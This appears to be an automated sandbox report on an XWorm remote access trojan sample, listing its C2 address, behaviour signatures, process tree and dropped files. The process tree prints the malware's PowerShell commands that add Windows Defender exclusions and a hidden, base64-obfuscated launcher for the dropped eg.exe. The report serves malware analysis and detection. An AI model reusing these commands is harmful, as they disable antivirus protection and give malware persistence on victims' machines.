Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 11:18

General

  • Target
    9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe
  • Size 761KB
  • Sample260910-nefvhsbm7w
  • SHA256 9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 155.103.71.88:3456

Mutex
  • a7q7Xhac1AE6T6SH

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • SmartAssembly .NET packer 1 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe
    "C:\Users\Admin\AppData\Local\Temp\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4380
    • C:\Users\Admin\AppData\Local\Temp\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe
      "C:\Users\Admin\AppData\Local\Temp\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe"
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:796
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4512
  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$djz3wr=5889;$2rbdng=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$0crre3=Get-Date;$f2mtis=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXGVnLmV4ZQ==')));$4lrrnm=$env:COMPUTERNAME;& $2rbdng -FilePath $f2mtis"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Users\Admin\AppData\Roaming\eg.exe
      "C:\Users\Admin\AppData\Roaming\eg.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Users\Admin\AppData\Roaming\eg.exe
        "C:\Users\Admin\AppData\Roaming\eg.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2096

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547.exe.log
        • Size 1KB
        • SHA256 7667e538030e3f8ce2886e47a01af24cb0ea70528b1e821c5d8832c5076cb982
        • MD5 SHA1 SHA512 TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 afac32df20974aa727a8263bca91900d22fc16290c8c936f136ca26b7517f1b5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 233ba610895d1b110d70ce408d2b06630bbda5d614488a1c6cfc1141ec900780
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_dtei5v1k.x13.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dtei5v1k.x13.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        eg.exe

        • Path C:\Users\Admin\AppData\Roaming\eg.exe
        • Size 761KB
        • SHA256 9fd960978ea37f0c25951fd48f4e457b13d2594cc45249fae79fda9bcfe86547
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/796-60-0x00000000079B0000-0x00000000079BE000-memory.dmp

        memory/796-55-0x0000000007DD0000-0x000000000844A000-memory.dmp

        memory/796-63-0x0000000007AA0000-0x0000000007AA8000-memory.dmp

        memory/796-62-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

        memory/796-61-0x00000000079C0000-0x00000000079D4000-memory.dmp

        memory/796-44-0x0000000006A20000-0x0000000006A52000-memory.dmp

        memory/796-45-0x000000006FF80000-0x000000006FFCC000-memory.dmp

        memory/796-53-0x0000000006A00000-0x0000000006A1E000-memory.dmp

        memory/796-24-0x0000000002B80000-0x0000000002BB6000-memory.dmp

        memory/796-25-0x00000000057B0000-0x0000000005DD8000-memory.dmp

        memory/796-54-0x0000000007440000-0x00000000074E3000-memory.dmp

        memory/796-27-0x0000000005390000-0x00000000053B2000-memory.dmp

        memory/796-30-0x0000000005E50000-0x0000000005EB6000-memory.dmp

        memory/796-29-0x00000000055B0000-0x0000000005616000-memory.dmp

        memory/796-33-0x0000000005EC0000-0x0000000006214000-memory.dmp

        memory/796-59-0x0000000007980000-0x0000000007991000-memory.dmp

        memory/796-42-0x0000000006470000-0x000000000648E000-memory.dmp

        memory/796-43-0x0000000006490000-0x00000000064DC000-memory.dmp

        memory/796-58-0x0000000007A00000-0x0000000007A96000-memory.dmp

        memory/796-57-0x0000000007800000-0x000000000780A000-memory.dmp

        memory/796-56-0x0000000007780000-0x000000000779A000-memory.dmp

        memory/2780-90-0x0000000005930000-0x0000000005940000-memory.dmp

        memory/2780-89-0x0000000005930000-0x0000000005940000-memory.dmp

        memory/2780-12-0x0000000000400000-0x0000000000410000-memory.dmp

        memory/2808-15-0x000002A5CE120000-0x000002A5CE130000-memory.dmp

        memory/2808-21-0x000002A5CE070000-0x000002A5CE092000-memory.dmp

        memory/4380-2-0x00000000056C0000-0x0000000005752000-memory.dmp

        memory/4380-1-0x0000000005C70000-0x0000000006214000-memory.dmp

        memory/4380-6-0x0000000005670000-0x0000000005680000-memory.dmp

        memory/4380-5-0x0000000005C40000-0x0000000005C54000-memory.dmp

        memory/4380-8-0x0000000006D90000-0x0000000006E3A000-memory.dmp

        memory/4380-7-0x0000000006CF0000-0x0000000006D8C000-memory.dmp

        memory/4380-3-0x0000000005670000-0x0000000005680000-memory.dmp

        memory/4380-0-0x0000000000BD0000-0x0000000000C94000-memory.dmp

        memory/4380-4-0x00000000056A0000-0x00000000056AA000-memory.dmp

        memory/4512-85-0x0000000007C10000-0x0000000007CB3000-memory.dmp

        memory/4512-77-0x0000000070660000-0x00000000706AC000-memory.dmp

        memory/4512-86-0x0000000007F10000-0x0000000007F21000-memory.dmp

        memory/4512-87-0x0000000007F70000-0x0000000007F84000-memory.dmp

        memory/4512-76-0x0000000006A60000-0x0000000006AAC000-memory.dmp

        memory/4512-74-0x00000000065B0000-0x0000000006904000-memory.dmp